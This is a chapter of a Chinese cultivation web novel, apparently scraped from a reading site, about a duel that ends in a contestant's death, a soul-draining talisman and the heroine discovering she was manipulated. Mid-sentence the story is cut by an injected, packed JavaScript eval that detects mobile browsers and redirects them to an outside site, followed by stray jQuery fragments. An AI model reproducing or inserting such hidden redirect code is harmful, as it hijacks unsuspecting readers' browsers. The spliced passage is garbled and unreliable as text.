默认冷灰
24号文字
方正启体

71. 哦,被当枪使

作者:泽有定本书字数:K更新时间:
    四下哗然。


    “发生什么了?”


    “叶英这是……爆体而亡了!?”


    看台的最前端更是乱成了一团——


    “我的灵力突然枯竭了,怎么回事?”


    “我也是!”


    “让一让——有人晕了!”


    齐道率先从高台上跃下,庄禾以和沈徽紧随其后,其他人面面相觑,最终还是跟了过去。


    “你做了什么?!”齐道的怒吼传遍了整个演武场。


    陈在野方爬起身,又被一道威压压跪了下去,她艰难地抬起头,齐道正死死瞪着她,眼神仿佛想将她生吞活剥了。


    “我什么都没做。”她咬着牙说。


    “齐盟主这是什么意思,”陈素一挥袖,弹开了齐道的威压,面色沉凝,“叶英是爆体身亡,所有人都看在眼里。”


    “好端端的,怎么会爆体身亡?”齐道怒极。


    庄禾悠悠道:“是啊,好端端的怎么会爆体身亡。”


    “我看倒像是丹田吸纳了太多灵气,经脉崩断……”


    说这话的是某个名不见经传的掌门,他还没有说完自己的猜测,就被旁边的人踩了一脚,他抬起头,看见齐道正怒视着他,他赶紧闭上了嘴。


    “此言有理,”沈徽突然出声,他指了指地上碎成数瓣、紫红的金丹,“金丹爆裂的情况可不多见。”


    众人齐齐看去,皆被这惨状惊得倒吸一口冷气。


    “可当时正在比试,她从哪吸纳这么多灵气,还致使爆体?”


    “看这个!”


    突然有人从地上拾起了一张符纸,高高举了起来。


    “合众之力符!”


    看台上骤然响起一道声音,可当众人顺着声音望去,喊出这话的人又不见了踪影。


    “合众之力符?这是什么?”


    “我听说过此物,据说能吸收周围修士的灵力为自己所用,极为阴毒。”


    “我们前排的灵力突然枯竭,是不是叶英用了这个的原因?”


    “很有可能啊!”


    “那就好解释了,”有人推测道,“叶英用了这个合众之力符,却误吸纳了看台众弟子太多灵力,丹田盛纳不下,最终才爆体身亡。”


    “按理来说,此符吸纳范围不应该这么广才对。”也有人提出疑问。


    “的确如此,但一号演武场有些特殊,”


    正当众人百思不得其解,沈徽不急不慢出声解释道,“一号演武场是数千年前昆仑派祖师所设,用了和缩地成寸相反的扩展术法,诸位可以把这里理解为一个芥子空间——此处并不像诸位看到的那么宽阔。”


    “你为何不早说?”齐道暴喝道。


    “我怎知你止戈新盟弟子手中有这种东西。”沈徽淡淡说道。


    “我们止戈新盟……”


    他说着说着,倏地哑火了。


    这话倒提醒他了,他止戈新盟自诩第一正道宗门、高人一等,其中一个很重要的原因就是,止戈新盟百余年从未爆出任何与邪修相关的人或事,而今日叶英的事,狠狠打了他的脸不说,若传出去,他这些年苦心经营的止戈新盟形象恐怕也要毁于一旦……


    “所有弟子,现在立刻离开演武场!”


    然而事态已经不受控制了。


    “只有邪修才用这种东西,叶英她不是止戈新盟的吗?”


    “那又怎样,止戈新盟就一定没有邪修?”


    “你们不觉着恐怖吗!竟然连止戈新盟都能混进邪修,而且还能让她参赛……”


    “所有人立刻离开!”


    齐道又高声重复了一遍,乌泱泱的人群才开始向出口缓慢移动。


    陈在野趁齐道不再将注意力放在她身上,悄声退至角落里,背靠着墙坐在地上,还有些缓不过神。


    有人在她面前站定,并伸出了一只手,她一抬头,发现是云起时,这下更心烦意乱了。


    “齐道让所有弟子离开。”他没有收回晾在空中的手。


    “我没聋。”她撑着地站起身,转身头也不回地朝出口走去。


    他没有迟疑,紧跟在她身后,她不知道云起时此刻是什么表情,她也不想转头看。


    “你知道叶英身上有合众之力符,也知道她要用这个对付你,”他自顾自说出推断,“所以之前你和杜蘅是在查这件事?”


    她竟然从他的语气中听出来一丝愉悦。


    ……他是怎么做到这么无动于衷,就好像几天前那件事没有发生过的?


    “关你什么事。”她冷冷道。


    “你的事不就是我的事……”他声线放低了些,似乎有两只耳朵从发间冒了出来,耷拉着,“为什么之前不告诉我。”


    她以前听了这话可能还会觉着嘴甜,可她现在听了只想翻白眼。


    ……她也的确这么做了,同时加快了脚步。


    “不要走那么快,你的腿在流血。”


    “……”她走得更快了。


    过了一会儿,她感觉自己的袖子被攥住了,然后听见他试探着问:“你还在生我的气吗?”


    她深吸一口气,猛地刹住脚,云起时来不及反应撞上了她的后背,她一下跳开了。


    “是,”陈在野抱起双臂,姿态防备,“所以你能别再跟着我了吗?”


    “不能。”


    “你去死吧。”


    “……对不起。”他又捉住她的袖角。


    他这话说得可怜,但她没有从他脸上看到任何愧疚或是懊悔,她知道他这副表情是“下次还敢”的意思。


    他不觉着自己的行为有什么问题。


    或许他从来都不这么觉着。


    陈在野突然感到无力极了。


    他根本就不知道……


    罢了。


    “到此为止吧。”


    她挣了挣,没能将袖子从他手中夺过来,那截衣料就像长进了他的血肉里一样,于是她挥刀削去了那片袖角。


    云起时手中一松,然后他慢慢睁大了眼,不可置信地看向她。


    “什么意思?师姐,你这是什么意思?”他终于感到恐惧了,“我不明白。”


    “我如今已不在岳峙门,其实你不必叫我师姐。”


    四周静得可怕,似乎一切都停止了运转。


    “不。”他一瞬间红了眼眶,只从紧咬的牙关中挤出了一个字。


    “之前与你说的那些话,我是认真的,你好好想想吧。”


    “不。”呼吸灼烧般的痛,令他想吐。


    她要抛下他了,她真的要抛下他了……


    空气凝成了冰。


    直到徐真桉的声音响起。


    “呃、在吵架?我们来的不是时候?”


    陈在野转过头,看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994412|183010||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见徐真桉和杜蘅正朝这边而来。


    “没事,都结束了。”


    云起时闻言心脏又是狠狠一缩。


    “借一步说话?”杜蘅的目光在她和云起时只见逡巡。


    她没有回答,但朝他们迈了一步。


    *


    东山林。


    “怎么了?”


    陈在野狐疑地看了眼一脸严肃的杜蘅,又看了眼眼神躲闪的徐真桉。


    “他叫我来给你看看,”徐真桉掏出个药瓶,倒了两粒药丸递给她,“止血的。”


    “嗯,先疗伤。”杜蘅说。


    她吞下药丸,徐真桉将手搭在她的腕间,一股暖意渗入皮肤,沿着经脉游走,她喟叹了一声,身体舒坦了许多。


    “你终于看清你那好师弟的真面目了,”杜蘅用他那惯有的嘲弄的语气说道,“真不容易,不知你现在作何感想?”


    “别试探我的底线,杜蘅。”她蓦地抬眼,眼底一片冰冷。


    叶英爆体身亡的那一幕始终在她脑海中盘旋,搅得她心乱如麻,云起时又添一把火不说,杜蘅还要火上浇油,她感觉自己熊熊燃烧起来了。


    “他惹你生气,你却要拿我撒气。”杜蘅抿了下唇,嘴角扬起一个自嘲的弧度。


    “闭嘴。”她警告地瞪着他,他不甘示弱地直直迎上她尖锐的目光。


    “……”他欲言又止。


    终于安静了。


    陈在野抬手揉了揉太阳穴。


    似乎有些太安静了。


    徐真桉一反常态地沉默着。


    “你怎么了?”她问。


    徐真桉抬头给了她一个一言难尽的眼神,然后像是终于找到了宣泄口似的,忽地抓住了她的肩,大叫了一声——


    “啊啊啊——怎么会这样啊!”


    “什么这样那样?”陈在野捂住耳朵。


    “我刚刚在演武场看见了不该看的东西……”徐真桉将她的手拉下来,一脸惊恐地凑到她耳边低声说了什么。


    “哦。”她听完眨了眨眼,反应平平。


    “你怎么这个反应?”


    “不就是他们捡到的那张关键的合众之力符是沈徽扔下的吗,我知道,准确来说,我猜到了。”


    “你你你——怎么就这么说出来了?”徐真桉瞪圆了眼睛。


    “我也知道。”杜蘅耸耸肩。


    “你们怎么一点儿都不震惊???”徐真桉崩溃了,“那可是沈徽啊!”


    “是沈徽又怎么样?”


    “他怎么会有那种东西?而且还……还……”


    “哦,合众之力符吗,是我们捡到给他的。”


    徐真桉彻底愣住了,一股凉意从后背爬上了天灵盖。


    “那岂不是他早就知道今日会发生这样的事了?”她喃喃道,“那可是沈徽啊……”


    陈在野冷笑一声,磨了磨后槽牙,她现在再回头看,才意识到自己有多迟钝,被沈徽当枪使了都不知道!


    ……他何止是知道叶英会爆体身亡,她抽签抽到叶英、那些让她成为众矢之的的流言恐怕都是他一手酿成的。


    他想让所有人将注意力放在她和叶英的比试上,当着所有人的面爆出合众之力符的事情,再将止戈新盟推到风口浪尖上——他还生怕人坐不下,给她安排了最大的一号演武场!


    这人怎么这么损???
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)